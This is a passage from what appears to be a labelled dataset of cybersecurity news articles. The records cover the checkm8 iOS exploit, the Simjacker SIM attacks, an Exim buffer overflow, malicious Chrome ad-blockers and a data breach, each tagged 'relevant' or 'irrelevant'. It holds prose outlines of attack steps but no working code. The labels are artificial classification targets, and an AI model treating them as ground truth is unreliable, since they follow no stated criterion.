attempts, and more. 2. Note website core, plugins & themes installations and updates A fundamental security best practice is to keep your WordPress core, plugins, themes, and all the software you use up-to-date. However, sometimes, updates can also lead to compatibility and technical issues. Or even worse, it is not uncommon for attackers who manage to gain unauthorized access to install malicious plugins, or infect already installed ones. By keeping track of all your website updates, the activity log is the tool that will point you in the right direction. In it, you will find the source of the problem, which helps you resolve the problem quickly. Be it a hacker or well-intentioned user, with audit trails you can track down unauthorized and problematic changes without doing any guesswork. 3. Keep track of WordPress settings changes Some WordPress settings changes can have a significant impact on the behavior of a website. Some others go unnoticed. What if someone changes the default role of new users to administrators by mistake, or intentionally? You won't be able to notice such change until a new user finds out they have admin access. WordPress audit logs enable you to be aware of everything that's happening on your site, including WordPress settings changes. This means you'll be able to identify the issue, who did it and when. And till also allows you to reverse unwanted changes with ease. 4. Build a WordPress Intrusion Detection System (IDS) An activity log is an excellent asset in a post hack scenario. It helps you recover after an attack. Though more importantly, it enables you to prevent WordPress hack attacks from happening. Audit logs are the core of a WordPress Intrusion Detection System (IDS). When you set up an IDS, it will alert you to suspicious activity. Therefore it helps you avoid successful hack attacks, so you do not have to deal with the aftermath and the expenses. wordpress audit logs notification Putting theory into practice: you can set up alerts for when there are login attempts outside regular working hours, or from unfamiliar IP addresses. You can also set up notifications for when there are critical WordPress settings changes that alter the website's functionality. Bonus: Activity logs for WooCommerce / eCommerce stores Activity logs are also very popular on eCommerce websites powered with WooCommerce. Audit trails make managing your online store smoother and increase users' accountability. The WP Security Audit Log is also an activity log for WooCommerce. It keeps plugin keeps a log of WooCommerce store, products, orders, and other changes. woocommerce activity log It reports all the necessary details so you can stay on top of the game. The plugin keeps a log of what actually changed and which store manager changed an order, a store setting, a discount coupon, or a product. It reports if it was a quantity change, price change, or stock quantities adjustments. Improving WordPress website management & security with activity logs WordPress management is a necessity; however, it can take away from other business responsibilities. Activity logs help you gain a full overview of what is happening on your site, better manage your team, and improve its security. In return, you'll have time to take care of your business matters faster and more effectively. This includes the ability to: Know who is logged into your site and what they are doing Note website core, plugins & themes installations and updates Keep track of WordPress settings changes Build a WordPress Intrusion Detection System (IDS) Keep track of your WooCommerce store, orders, and shop managers.",irrelevant
"Adobe Releases Security Patches For Critical Flash Player Vulnerabilities It's Patch Tuesday again—the day of the month when both Adobe and Microsoft release security patches for vulnerabilities in their software. Adobe has just released its monthly security updates to address a total of 3 security vulnerabilities in only two of its products this time—Adobe Flash Player and Adobe Application Manager (AAM). None of the security vulnerabilities patched this month in Adobe products is being exploited in the wild. The latest update for Adobe Flash Player, the software that will receive security patch updates until the end of 2020, this month addresses two critical vulnerabilities and affects Windows, macOS, Linux, and Chrome OS versions of the software. Both the critical vulnerabilities in Flash Player, listed below, lead to arbitrary code execution in the context of the current user, allowing attackers to take complete control over targeted systems. Same-origin method execution (CVE-2019-8069) Use-after-free (CVE-2019-8070) Both the vulnerabilities were reported to Adobe by security researchers working with the Trend Micro Zero Day Initiative platform. Adobe has also released a security update for Adobe Application Manager (AAM) for Windows to address an Insecure Library Loading (DLL hijacking) vulnerability in the installer. The vulnerability, rated as important in severity and assigned as CVE-2019-8076, could also lead to arbitrary code execution, allowing an attacker to run malicious code on the affected systems. Users of affected Adobe software for Windows, macOS, Linux, and Chrome OS are urged to update their software packages to the latest versions as soon as possible. If your system hasn't yet detected the availability of the new update automatically, you should manually install the update by choosing ""Help → Check for Updates"" in your Adobe software.",relevant
"Exploit Reseller Offering Up To $2.5 Million For Android Zero-Days Well, there's some good news for hackers and vulnerability hunters, though terrible news for Google, Android device manufacturers, and their billions of users worldwide. The zero-day buying and selling industry has recently taken a shift towards Android operating system, offering up to $2.5 million payouts to anyone who sells 'full chain, zero-click, with persistence' Android zero-days. Just like other traditional markets, the zero-day market is also a game of supply, demand, and strategy, which suggests either the demand of Android zero-days has significantly increased or somehow Android OS is getting tougher to hack remotely, which is unlikely. In it's latest notification, Zerodium—a startup that buys zero-day exploits from hackers, and then probably sells them to law enforcement agencies and nation-sponsored spies around the world—said it's looking for hackers who can develop full chain Android exploits. zerodium prices table The company is ready to pay up to $2.5 million for such exploits that can be used to gain persistence access on an Android device with no indication and interaction from the target user; a straight 12x jump from its previous price tag of $200,000. While the same type of zero-day exploits for iOS devices are worth $2 million, which is still double than what Apple has recently started offering to hackers to responsibly report severe deadly exploits, described as ""a zero-click kernel code execution vulnerability that enables complete, persistent control of a device's kernel."" Besides Android exploits, Zerodium has also announced to offer $500,000 for submitting new persistence exploits or techniques for iOS, and increased payouts of WhatsApp and iMessage exploits.",irrelevant
"Hacker Releases 'Unpatchable' Jailbreak For All iOS Devices, iPhone 4s to iPhone X An iOS hacker and cybersecurity researcher today publicly released what he claimed to be a ""permanent unpatchable bootrom exploit,"" in other words, an epic jailbreak that works on all iOS devices ranging from iPhone 4s (A5 chip) to iPhone 8 and iPhone X (A11 chip). Dubbed Checkm8, the exploit leverages unpatchable security weaknesses in Apple's Bootrom (SecureROM), the first significant code that runs on an iPhone while booting, which, if exploited, provides greater system-level access. ""EPIC JAILBREAK: Introducing checkm8 (read ""checkmate""), a permanent unpatchable bootrom exploit for hundreds of millions of iOS devices,"" said axi0mX while announcing the publicly release of the exploit on Twitter. The new exploit came exactly a month after Apple released an emergency patch for another critical jailbreak vulnerability that works on Apple devices including the iPhone XS, XS Max, and XR and the 2019 iPad Mini and iPad Air, running iOS 12.4 and iOS 12.2 or earlier. Since the bootrom exploits are hardware-level issues and can not be patched without a hardware revision, a simple software update can't address the newly released bootrom exploit. It should be noted that the Checkm8 exploit itself is not a full jailbreak with Cydia, instead, is just an exploit which researchers and jailbreak community can use to develop a fully working jailbreak tool. Features the Checkm8 exploit allows include as mentioned below: Jailbreak and downgrade iPhone 3GS (new bootrom) with alloc8 untethered bootrom exploit. Pwned DFU Mode with steaks4uce exploit for S5L8720 devices. Pwned DFU Mode with limera1n exploit for S5L8920/S5L8922 devices. Pwned DFU Mode with SHAtter exploit for S5L8930 devices. Dump SecureROM on S5L8920/S5L8922/S5L8930 devices. Dump NOR on S5L8920 devices. Flash NOR on S5L8920 devices. Encrypt or decrypt hex data on a connected device in pwned DFU Mode using its GID or UID key. ""This is possibly the biggest news in the iOS jailbreak community in years. I am releasing my exploit for free for the benefit of iOS jailbreak and security research community,"" says axi0mX, who released the exploit on GitHub. ""Researchers and developers can use it to dump SecureROM, decrypt keybags with AES engine, and demote the device to enable JTAG. You still need additional hardware and software to use JTAG."" axi0mX says he discovered the underlying bootrom vulnerability while analyzing a security patch Apple released in 2018 to address a previously discovered critical use-after-free vulnerability in iBoot USB code. axi0mX also notes that his exploit can not be performed remotely. Instead, it can only be triggered over USB and requires physical access. The jailbreak only works on iPhones running Apple's A5 and A11 chipsets and does not work on the latest two chipsets, i.e., A12 and A13.",relevant
"Two Widely Used Ad Blocker Extensions for Chrome Caught in Ad Fraud Scheme Two widely used Adblocker Google Chrome extensions, posing as the original — AdBlock and uBlock Origin — extensions on Chrome Web Store, have been caught stuffing cookies in the web browser of millions of users to generate affiliate income from referral schemes fraudulently. There's no doubt web extensions add a lot of useful features to web browsers, making your online experience great and aiding productivity, but at the same time, they also pose huge threats to both your privacy and security. Being the most over-sighted weakest link in the browser security model, extensions sit between the browser application and the Internet — from where they look for the websites you visit and subsequently can intercept, modify, and block any requests, based on the functionalities they have been designed for. Apart from the extensions which are purposely created with malicious intent, in recent years we have also seen some of the most popular legitimate Chrome and Firefox extensions going rogue after gaining a massive user base or getting hacked. Discovered by researchers at Adguard, the two newly caught Chrome extensions mentioned below were found using the names of two real and very popular ad-blocking extensions in an attempt to trick most users into downloading them. AdBlock by AdBlock, Inc — over 800,000 users uBlock by Charlie Lee — over 850,000 users Though these extensions were fully working as any other adblocker does by removing ads from web pages a user visits, the researchers caught them performing ""Cookie Stuffing"" as an ad fraud scheme to generate revenue for their developers. What is Cookie Stuffing Ad Fraud Scheme? Cookie Stuffing, also known as Cookie Dropping, is one of the most popular types of fraud schemes in which a website or a browser extension drops handfuls affiliate cookies into users' web browser without their permission or knowledge. These affiliate tracking cookies then keep track of users' browsing activities and, if they make online purchases, the cookie stuffers claim commissions for sales that actually they had no part in making, potentially stealing the credit for someone else's attribution fraudulently. The two ad blocking extensions discovered by researchers were found sending out a request to a URL for each new domain users visited after being installed for around 55 hours in an attempt to receive affiliate links from the sites users visited. The two extensions, with 1.6 million active users, were stuffing cookies from 300 websites from Alexa Top 10000 most popular websites, including of teamviewer, microsoft, linkedin, aliexpress, and booking.com, potentially making millions of dollars a month for their developers, according to the researchers. ""Actually, there's a bright side to it. Now that this fraud scheme is uncovered, affiliate programs' owners can follow the money trail and find out who is behind this scheme,"" the researchers said. ""Another interesting thing about this extension is that it contains some self-protection mechanisms. For instance, it detects if the developer console is open, it ceases all suspicious activity at once."" Google Removed Both Ad Blocker Extensions from Chrome Web Store Despite receiving multiple reports about how these extensions are deceiving users in the names of other more popular extensions, Google did not remove them from the Chrome Web Store as Google policy does allow multiple extensions to have the same name. However, after AdGuard researchers reported their findings of the malicious behavior of the two extensions, the tech giant removed both malicious extensions from Google Chrome Store. Since browser extension takes permission to access all the web pages you visit, it can do practically anything, including stealing your online accounts passwords. So, you are always advised to install as few extensions as possible and only from companies you trust. Before installing any extension or an app on your mobile phone, always ask yourself—Do I Really Need It?",irrelevant
"Google to Experiment 'DNS over HTTPS' (DoH) Feature in Chrome 78 Immediately after Mozilla announced its plan to soon enable 'DNS over HTTPS' (DoH) by default for Firefox users in the United States, Google today says it is planning an experiment with the privacy-focused technology in its upcoming Chrome 78. Under development since 2017, 'DNS over HTTPS' performs DNS lookups—finding the server IP address of a certain domain name—over an encrypted HTTPS connection to a DNS server, rather than sending DNS queries in plaintext. The protocol that sends DNS queries over secure HTTPS connections has specifically been designed to prevent miscreants from interfering with domain name lookups, eventually stopping network observers, including your ISPs and attackers, from figuring out what sites you visit. Though the privacy-focused technology is also helpful in preventing attackers from redirecting unsuspecting visitors to phishing and malware sites, DNS over HTTPS could also bring its own new challenges to the enterprise security solutions by making it difficult to monitor network traffic for malicious activities. For the same reason, two months ago, the UK Internet Services Providers' Association (ISPA) nominated Mozilla for ""Internet villain of the year"" award after the company added support for DoH protocol in its Firefox browser that breaks DNS-based content filters. However, it should be noted that Firefox by default sets DoH server to Cloudflare and the setting needs to be changed manually, for which Mozilla has been criticized, whereas Google's implementation only upgrades to the equivalent DoH service from the same provider that a user is using. Enabling 'DNS over HTTPS' in Chrome 78 In a blog post published today, Google said the company will add its implementation of 'DNS over HTTPS' to the upcoming Chrome 78, which is due for beta release in the next two weeks, and will enable the feature for a fraction of users as an early-experiment, How to enable dns over https in chrome and firefox The experimental feature will automatically upgrade the DNS provider to the equivalent DoH service from the same provider if the user's current DNS provider is part of the list of known DoH-compatible providers. If not in the list, Chrome will continue to operate as it does today. ""In other words, this would upgrade the protocol used for DNS resolution while keeping the user's DNS provider unchanged. It's also important to note that DNS over HTTPS does not preclude its operator from offering features such as family-safe filtering,"" Google says. Chrome 78 users who want to manually opt-in or opt-out of the experiment can change the flag settings at chrome://flags/#dns-over-https. Chrome Compatible' DNS over HTTPS' Providers Google says it has selected some DNS providers for ""their strong stance on security and privacy, as well as the readiness of their DoH services"" and their agreement to participate in the test. The list of providers currently include: Cleanbrowsing Cloudflare DNS.SB Google OpenDNS Quad9 The experiment will run on all platforms for Chrome 78 users except Linux and iOS, with the goals to validate the company's ""implementation and to evaluate the performance impact."" On Android 9 and later, if users have set a DNS-over-TLS (DoT) provider in the private DNS settings, Chrome may attempt to utilize DoH instead, but if an error occurred, the browser would fall back to the DoT setting. For those unaware, though DoH and DoT are separate standards for encrypting DNS queries, the concept of both is the same. What're your thoughts on Google's experiment of implementing DoH? Let us know in the comment section below.",irrelevant
"Cynet 360: The Next Generation of EDR Many organizations regard Endpoint Detection and Response (EDR) as their main protection against breaches. EDR, as a category, emerged in 2012 and was rapidly acknowledged as the best answer to the numerous threats that legacy AV unsuccessfully struggled to overcome – exploits, zero-day malware and fileless attacks are prominent examples. While there is no dispute on EDR's efficiency against a significant portion of today's advanced threats, a new breed of ""next-generation EDR"" solutions are now available (learn more here) which on top of featuring all EDR capabilities, go beyond this to protect against prominent attack vectors that EDR does not cover such as those involving users and networks. ""Many people unknowingly mix two different things – endpoint protection and breach protection,"" explained Eyal Gruner, co-Founder of Cynet (a next-generation EDR solution). ""It's perfectly true that many attacks start at the endpoint and involve malicious files and processes, making EDR a perfect solution for the endpoint. However, the actual attack surface is much broader than this, and at the end of the day, it's not the endpoints you want to protect – it's your organization."" Gruner, a former white-hat hacker (starting when he was 15-years-old), also founded BugSec, Israel's largest cybersecurity consulting company. Today, he is a world-recognized expert 0n attacker tools, techniques, and practices. ""Think of it like this: by definition, each attacker's activity generates some kind of anomaly. It only makes sense, because what we consider to be 'normal behavior' doesn't include compromising resources and stealing data. These anomalies are the anchor that enable security products – or threat analysts for that matter – to identify that something bad is happening and block it."" Gruner said that these anomalies could manifest in three core places – process execution, network traffic, or user activity. For example, ransomware generates a process execution anomaly since there is a process that attempts to interact with a large number of files. Many types of lateral movement, on the other hand, include a network traffic anomaly in the form of unusually high SMB traffic. In a similar manner, when an attacker logs in to a critical server with compromised user account credentials, the only anomaly is in the user behavior. In both cases, it's impossible to unveil the attack through monitoring processes alone. ""EDR is a great tool for the attacks that can be identified through process anomalies,"" said Gruner. ""It sits on the endpoint and monitors process behavior, so you're fairly covered against this group of threats. But what about all the rest? There are many mainstream vectors that operate on the network traffic and user behavior without triggering the slightest process anomaly and EDR is practically blind to these threats."" Next Generation EDR Next Gen EDR Detecting Malicious Activity Across Endpoint, Network and Users To better understand the problem, let's step into the attacker's shoes. He has successfully compromised an endpoint and is now calculating his way onward in the environment, to access and then exfiltrate sensitive data. There are several steps necessary to accomplish this task. Let's use one as an example – credential theft. High privilege credentials are essential to access resources in the environment. The attacker might attempt to dump them from the compromised endpoint's memory. An EDR would probably catch this because it would cause a process anomaly. However, password hashes can also be harvested by intercepting internal network traffic (utilizing techniques such as ARP poisoning or DNS responder) which can be identified only through monitoring for a network traffic anomaly – and EDR would miss this altogether. ""From my experience, attackers that are good at their job usually learn quickly what defense measures are in place and act accordingly,"" said Gruner. ""If there's a good EDR in place, they'll shift their techniques to the network and user fields and operate freely under the EDR's radar."" ""So, if you want a component in your security stack that will protect you only from process-based attacks such as malware, exploits, etc., EDR can provide coverage. If what you're seeking is protection from breaches, you need to think much broader – this is why we created Cynet 360."" Cynet 360 continuously monitors processes, network traffic, and user activity, providing full coverage of the attack vectors that are used in today's advanced attacks. This means essentially all the capabilities of an EDR, expanded and integrated with User Behavior Analytics and Network Analytics, and complemented by a robust deception layer that enables operators to plant decoy data files, passwords, network shares, etc. and deceive attackers into luring their presence. But Cynet gives much more than just incremental value. ""It's not just process-based threats plus network-based threat plus user-based threats, said Gruner. ""The more advanced the attacker is, the better he is at concealing his presence and activity. So there are many attacks that are invisible if you only look at processes or traffic or user behavior."" ""It's only by joining these signals together to form a context that you can identify that there's something malicious going on. Cynet 360 automates the creation of this context to unveil multiple threats that are otherwise invisible."" Next Generation EDR Next Gen EDR delivers full visibility into all threats Gruner concludes, ""No protection is one-hundred percent, but you must have guards across all the main roads. Can attackers bypass them? I guess the answer is yes if they are skilled, determined, and resourceful enough. But if you monitor all the main anomaly paths, it would force them to work really hard – more than most of them would want to,"" Added Gruner. ""EDR is an amazing thing, and that's why Cynet 360 includes all of its capabilities – plus more. EDR alone is not enough for sound breach protection, and that's why we gave Cynet 360 all the rest."" Learn more about next-generation EDR here.",irrelevant
"CISO Kit — Breach Protection in the Palm of Your Hand CISOs and CIOs need to know better than anyone the security pulse of their organizations. On the other hand, they cannot be flooded with every changing detail. Finding the right balance that enables them to clearly grasp the big picture required in making sound decisions is a task many security executives find challenging. Threat actors do not acknowledge off-hours or weekends, introducing the need for constant vigilance. Moreover, CIOs and CISOs are heavily dependent on their team for knowledge and often lack the immediate interaction with the events in real-time. This situation is also far from favorable – after all, who if not the security executive should have the ability to be in-the-know and initiate action at the heart of things? Cynet rises to this challenge with the recently launched Cynet Dashboard application, which provides 24/7 insight into the overall security posture, real-time visibility into newly detected threats, and the ability to take rapid action if the need arises. Data Breach Protection Moreover, any new Cynet customer receives a 'CISO Kit' of iPad and Apple Watch that runs this app, giving instant security on-the-go. (For more details, click here.) ""It's a problem every CIO and CISO comes to acknowledge sooner or later,"" said Eyal Gruner, co-Founder of Cynet. ""You want to know at any given moment what's happening. What you have in your environment, whether there is something going on, if there any open incidents, and so on. On the other hand, you cannot spend your entire day in front of Cynet's screen."" ""We think it's crucial that every security executive has that immediate visibility, wherever he is, and that's why we've decided to provide our new clients with an Apple Watch and iPad together with the Cynet Dashboard app."" The Need to Know To address this need, Cynet built the Cynet Dashboard App which continuously gives CISOs a view into the number of assets in their environment, as well as how many open alerts there are at any given moment, rated by severity (low, medium, high or critical) and type (host, file, user or network). Data Breach Protection ""We've talked to hundreds of security stakeholders from organizations of all sizes, and it all converged into a common theme – they want to know what they have in their environment and what security events are currently taking place. Plain and simple,"" explained Gruner. The Need to Report On top of real-time knowledge into what's going on, the Cynet Dashboard App addresses the need for concise communication and reporting. Data Breach Protection Not the fully blown PDFs with graphs and charts, but being able to casually say in a management meeting or over lunch, 'Yes, we had 3 incidents this week. Two were resolved the other day, and one is being handled now.' The Need to Control ""When we founded Cynet, we knew that providing security expertise is not less important than providing the technology,"" said Gruner. ""So when prospects purchase Cynet, they also get CyOps – our team of expert security analysts and threat researchers that operate a 24/7 SOC to assist our customers with incident response, in-depth investigation and proactive threat hunting. This is one of the things our customers really love."" Data Breach Protection The Cynet Dashboard App enables CISOs to engage CyOps with a simple click, complementing the real-time knowledge and reporting with the ability to act and ensure that incidents get expert treatment. Changing the CISO Experience ""This is the first time such an experience has been made available to cybersecurity management,"" said Gruner. ""Our app enables the CISO to become truly autonomous. Know the core facts that matter, report to management, and take quick action if needed – all through his Apple Watch or iPad. It's all up to him to take control and determine what to do. It's literally having your security in the palm of your hand."" Click here to learn more about the Cynet Dashboard app and how you can get your own Cynet CISO Kit.",irrelevant
"More SIM Cards Vulnerable to Simjacker Attack Than Previously Disclosed Remember the Simjacker vulnerability? Earlier this month, we reported about a critical unpatched weakness in a wide range of SIM cards, which an unnamed surveillance company has actively been exploiting in the wild to remotely compromise targeted mobile phones just by sending a specially crafted SMS to their phone numbers. If you can recall, the Simjacker vulnerability resides in a dynamic SIM toolkit, called the S@T Browser, which comes installed on a variety of SIM cards, including eSIM, provided by mobile operators in at least 30 countries. Now, it turns out that the S@T Browser is not the only dynamic SIM toolkit that contains the Simjacker issue which can be exploited remotely from any part of the world without any authorization—regardless of which handsets or mobile operating systems victims are using. WIB SIM ToolKit Also Leads To SimJacker Attacks Following the Simjacker revelation, Lakatos, a researcher at Ginno Security Lab, reached out to The Hacker News earlier this week and revealed that another dynamic SIM toolkit, called Wireless Internet Browser (WIB), can also be exploited in the same way, exposing another set of hundreds of millions of mobile phones users to remote hackers. Lakatos told The Hacker News that he discovered this vulnerability back in 2015 but decided not to disclose it publicly until now because the process to patch such a flaw is complex and most importantly, can be abused by ""bad guys to control phones running vulnerable SIMs remotely."" Besides this, Lakatos also claimed that he independently discovered S@T Browser as well and also provided a video demonstration of the Simjacker vulnerability with more details that have not yet been published by AdaptiveMobile Security researchers who initially disclosed the issue earlier this month. WIB toolkit is created and maintained by SmartTrust, one of the leading companies that offer SIM toolkit-based browsing solutions to more than 200 mobile operators worldwide, and, according to some press releases, the list includes AT&T, Claro, Etisalat, KPN, TMobile, Telenor, and Vodafone. WIB and S@T Browsers Flaw Could Lets Attackers Target Mass Users Just like the S@T Browser, WIB toolkit has also been designed to allow mobile carriers to provide some essential services, subscriptions, and value-added services over-the-air to their customers or change core network settings on their devices. Instead of a pre-fixed installed menu, having a dynamic toolkit on the SIMs allows mobile operators to generate new features and options on the fly based on information provided by a central server. ""OTA is based on client/server architecture where at one end there is an operator back-end system (customer care, billing system, application server…) and at the other end there is a SIM card,"" the researcher explained in a blog post. The flaw in both S@T and WIB Browsers can be exploited to perform several tasks on a targeted device just by sending an SMS containing a specific type of spyware-like code. Retrieving targeted device' location and IMEI information, Sending fake messages on behalf of victims, Distributing malware by launching victim's phone browser and forcing it to open a malicious web page, Performing premium-rate scams by dialing premium-rate numbers, Spying on victims' surroundings by instructing the device to call the attacker's phone number, Performing denial of service attacks by disabling the SIM card, and Retrieving other information like language, radio type, battery level, etc. How Does SimJacker Attack Work Against WIB or S@T Enabled SIMs? Simjacker vulnerability As practically demonstrated in the video and illustrated in the above diagram that Lakatos shared with The Hacker News, both Simjacker and WIBattack attacks can be summarized in four following steps: Step 1 — Attackers send a malicious OTA SMS to the victim's phone number containing an S@T or WIB command such as SETUP CALL, SEND SMS, or PROVIDE LOCATION INFO. Step 2 — Once received, the victim's mobile operating system forwards this command to the S@T or WIB browser installed on the SIM card, without raising an alert or indicating the user about the incoming message. Step 3 — The targeted browser then instructs the victim's mobile operating system to follow the command. Step 4 — The victim's mobile OS then performs the corresponding actions. Lakatos says he also reported his findings to the GSM Association (GSMA), a trade body that represents the interests of mobile operators worldwide. The telecom industry needs urgent countermeasures to prevent Simjacker, WIBattack, and other evolving threats to protect billions of mobile phone users worldwide. How to Detect Simjacker Attacks? Detect Simjacker Attack Meanwhile, the researcher also told The Hacker News that he is working on a mobile phone app, to be released soon, that would allow users to scan their SIM cards to detect if it's vulnerable to Simjacker vulnerability or not. Developed by researchers at SRLabs, there's another Android app, called SnoopSnitch, which can detect attacks based on suspicious binary SMS including Simjacker and alert users of it. You can download SnoopSnitch from Google Play Store, but you need to have a rooted Android smartphone with a Qualcomm chipset for the SMS attack alerting feature to work. We also reached out to AdaptiveMobile Security firm for a comment but have not heard back from them yet.",relevant
"IT Firm Manager Arrested in the Biggest Data Breach Case of Ecuador's History Ecuador officials have arrested the general manager of IT consulting firm Novaestrat after the personal details of almost the entire population of the Republic of Ecuador left exposed online in what seems to be the most significant data breach in the country's history. Personal records of more than 20 million adults and children, both dead and alive, were found publicly exposed on an unsecured Elasticsearch server by security firm vpnMentor, which made the discovery during its large-scale mapping project. For a country with a population of over 16 million people, the breach exposed details of almost every Ecuadorian citizen, including President Lenín Moreno as well as WikiLeaks CEO Julian Assange, who was given political asylum in the country in 2012. The unsecured Elasticsearch server, which was based in Miami and owned by Ecuadorian company Novaestrat, contained 18GB cache of data appeared to have come from a variety of sources including government registries, an automotive association called Aeade, and an Ecuadorian national bank called Biess. Data Breach Exposes Personal Data of Almost Entire Ecuador Population The cache reportedly contained everything from full names, gender, dates and places of birth, phone numbers and addresses, to marital statuses, national identification numbers (similar to social security numbers), employment information, and details of education. The cache also contained specific financial information related information to accounts held with the Ecuadorian national bank Biess, including person's bank account statuses, current balances and credit type, along with detailed information about individuals' family members. William Roberto G Arrested in Ecuador Data Breach Case vpnMentor notified the Ecuadorian Computer Incident Response Center (EcuCERT) of the breach, who then immediately informed Novaestrat, the online data consulting firm in the city of Esmeraldas who owned the unsecured server, which was later taken offline on September 11. Authorities Investigating Company Allegedly Responsible for the Leak As part of the investigation, Ecuadorian officials also said in a statement on Tuesday that they had arrested the manager of Novaestrat identified as William Roberto G and seized electronic equipment, computers, storage devices, and documentation during a raid at his home. Roberto has been taken to the Ecuadorian capital, Quito, by the authorities for questioning and may face criminal charges. Also, given the privacy concerns surrounding the incident, the country's Minister of Telecommunications said legal actions would be taken against the affected institutions to sanction private companies responsible for violating privacy and publicizing personal information without authorization. The Minister of Telecommunications also said it is planning to pass a new data privacy law in the country, which they have been working for the past eight months, to protect the personal data of its citizens. This is not the first time when the country has suffered a significant data security breach. In 2016, hackers managed to steal $12 million from an Ecuadorian bank, Banco del Austro (BDA), by breaching its Swift payment system. However, the latest Ecuador's breach recalled Bulgaria history's biggest data breach that took place on July 2019 and exposed personal and financial information of 5 million adult Bulgarian citizens out of its total population of 7 million people—that's over 70% of the country's population.",irrelevant
"United States Sues Edward Snowden and You'd be Surprised to Know Why The United States government today filed a lawsuit against Edward Snowden, a former contractor for the CIA and NSA government agencies who made headlines worldwide in 2013 when he fled the country and leaked top-secret information about NSA's global and domestic surveillance activities. And you would be more surprised to know the reason for this lawsuit—No, Snowden has not been sued for leaking NSA secrets, instead for publishing a book without submitting it to the agencies for pre-publication review. In his latest book, titled ""Permanent Record"" and released today on September 17th, Edward Snowden for the first time revealed the story of his life, including how he helped the agency to built that surveillance system. Permanent Record also details about the aftermath of Snowden decision to disclose hundreds of thousands of sensitive documents exposing the United States mass surveillance programs to the world. According to a press release U.S. Department of Justice just published, Snowden has violated non-disclosure agreements he signed with both CIA and NSA agencies with the publication of his book, Permanent Record. The lawsuit alleges that Snowden published Permanent Record without first submitting the book to the agencies for pre-publication review and also gave public speeches on intelligence-related matters, violating the agreements he signed with the agencies. What's more interesting, the United States government is not looking to stop or restrict the publication or distribution of Permanent Record, but instead, is seeking to recover all proceeds earned by Snowden. ""The government seeks to recover all proceeds earned by Snowden because of his failure to submit his publication for pre-publication review in violation of his alleged contractual and fiduciary obligations,"" the press release reads. Besides Snowden, the US government is also suing the publisher solely to ensure that no funds are transferred to Snowden, or any account at his direction, while the court resolves the United States' claims. ""The United States' ability to protect sensitive national security information depends on employees' and contractors' compliance with their non-disclosure agreements, including their pre-publication review obligations,"" said Assistant Attorney General Jody Hunt of the Department of Justice's Civil Division. ""This lawsuit demonstrates that the Department of Justice does not tolerate these breaches of the public's trust. We will not permit individuals to enrich themselves, at the expense of the United States, without complying with their pre-publication review obligations."" This lawsuit is separate from the legal criminal charges brought against Snowden for his alleged disclosures of classified information about US mass surveillance programs like PRISM, DROPOUTJEEP, XKeyscore, MUSCULAR and many more. Living in Russia since 2013 after the revelation of secret surveillance programs by U.S. intelligence agencies, Snowden has just recently appealed to France's government to grant him asylum. The whistleblower said he tried to apply for asylum in France in 2013, when former President Francois Hollande was in power, but was unsuccessful.",irrelevant
"Outlook for Web Bans 38 More File Extensions in Email Attachments Malware or computer virus can infect your computer in several different ways, but one of the most common methods of its delivery is through malicious file attachments over emails that execute the malware when you open them. Therefore, to protect its users from malicious scripts and executable, Microsoft is planning to blacklist 38 additional file extensions by adding them to its list of file extensions that are blocked from being downloaded as attachments in Outlook on the Web. Previously known as Outlook Web Application or OWA, ""Outlook on the Web"" is Microsoft's web-based email client for users to access their emails, calendars, tasks and contacts from Microsoft's on-premises Exchange Server and cloud-based Exchange Online. The list of blocked file extensions currently has 104 entries, including .exe, .url, .com, .cmd, .asp, .lnk, .js, .jar, .tmp, .app, .isp, .hlp, .pif, .msi, .msh, and more. Now, the expanded block list will also include 38 new extensions in an upcoming update, preventing Outlook on the Web users from downloading attachments that have any of these 142 file extensions, until or unless an Outlook or Microsoft Exchange Server administrator has whitelisted any of them on purpose by removing it from the BlockedFileTypes list. ""We're always evaluating ways to improve security for our customers, and so we took the time to audit the existing blocked file list and update it to better reflect the file types we see as risks today,"" Microsoft says in a blog post. ""The newly blocked file types are rarely used, so most organizations will not be affected by the change. However, if your users are sending and receiving affected attachments, they will report that they are no longer able to download them."" Here's the new file extensions added to the BlockedFileTypes list: File extensions used by the Python scripting language: "".py"", "".pyc"", "".pyo"", "".pyw"", "".pyz"", "".pyzw"" Extensions used by the PowerShell scripting language: "".ps1"", "".ps1xml"", "".ps2"", "".ps2xml"", "".psc1"", "".psc2"", "".psd1"", "".psdm1"", "".psd1"", "".psdm1"" Extensions used for digital certificates: "".cer"", "".crt"", "".der"" Extensions used by the Java programming language: "".jar"", "".jnlp"" Extensions used by various applications: "".appcontent-ms"", "".settingcontent-ms"", "".cnt"", "".hpj"", "".website"", "".webpnp"", "".mcf"", "".printerexport"", "".pl"", "".theme"", "".vbp"", "".xbap"", "".xll"", "".xnk"", "".msu"", "".diagcab"", "".grp"" Microsoft writes that while the associated vulnerabilities with various applications have been patched, ""they are being blocked for the benefit of organizations that might still have older versions of the application software in use."" ""Security of our customer's data is our utmost priority, and we hope our customers will understand and appreciate this change. Change can be disruptive, so we hope the information here explains what we're doing and why,"" the company says. Just like Microsoft, Google, the largest email provider, also maintains a list of blocked file extensions that the company considers harmful to its Gmail users, preventing them from attaching or downloading certain types of files. These blacklisted files include .ade, .adp, .apk, .appx, .appxbundle, .bat, .cab, .chm, .cmd, .com, .cpl, .dll, .dmg, .exe, .hta, .ins, .isp, .iso, .jar, .js, .jse, .lib, .lnk, .mde, .msc, .msi, .msix, .msixbundle, .msp, .mst, .nsh, .pif, .ps1, .scr, .sct, .shb, .sys, .vb, .vbe, .vbs, .vxd, .wsc, .wsf, .wsh.",irrelevant
"New Critical Exim Flaw Exposes Email Servers to Remote Attacks — Patch Released A critical security vulnerability has been discovered and fixed in the popular open-source Exim email server software, which could allow a remote attacker to simply crash or potentially execute malicious code on targeted servers. Exim maintainers today released an urgent security update—Exim version 4.92.3—after publishing an early warning two days ago, giving system administrators an early head-up on its upcoming security patches that affect all versions of the email server software from 4.92 up to and including then-latest version 4.92.2. Exim is a widely used, open source mail transfer agent (MTA) developed for Unix-like operating systems like Linux, Mac OSX or Solaris, which runs almost 60 percent of the Internet's email servers today for routing, delivering and receiving email messages. This is the second time in this month when the Exim maintainers have released an urgent security update. Earlier this month, the team patched a critical remote code execution flaw (CVE-2019-15846) in the software that could have allowed remote attackers to gain root-level access to the system. Identified as CVE-2019-16928 and discovered by Jeremy Harris of Exim Development Team, the vulnerability is a heap-based buffer overflow (memory corruption) issue in string_vformat defined in string.c file of the EHLO Command Handler component. hacking exim email server The security flaw could allow remote attackers to cause a denial of service (DoS) condition or execute arbitrary code on a targeted Exim mail server using a specially crafted line in the EHLO command with the rights of the targeted user. According to the Exim advisory, a currently known PoC exploit for this vulnerability allows one to only crash the Exim process by sending a long string in the EHLO command, though other 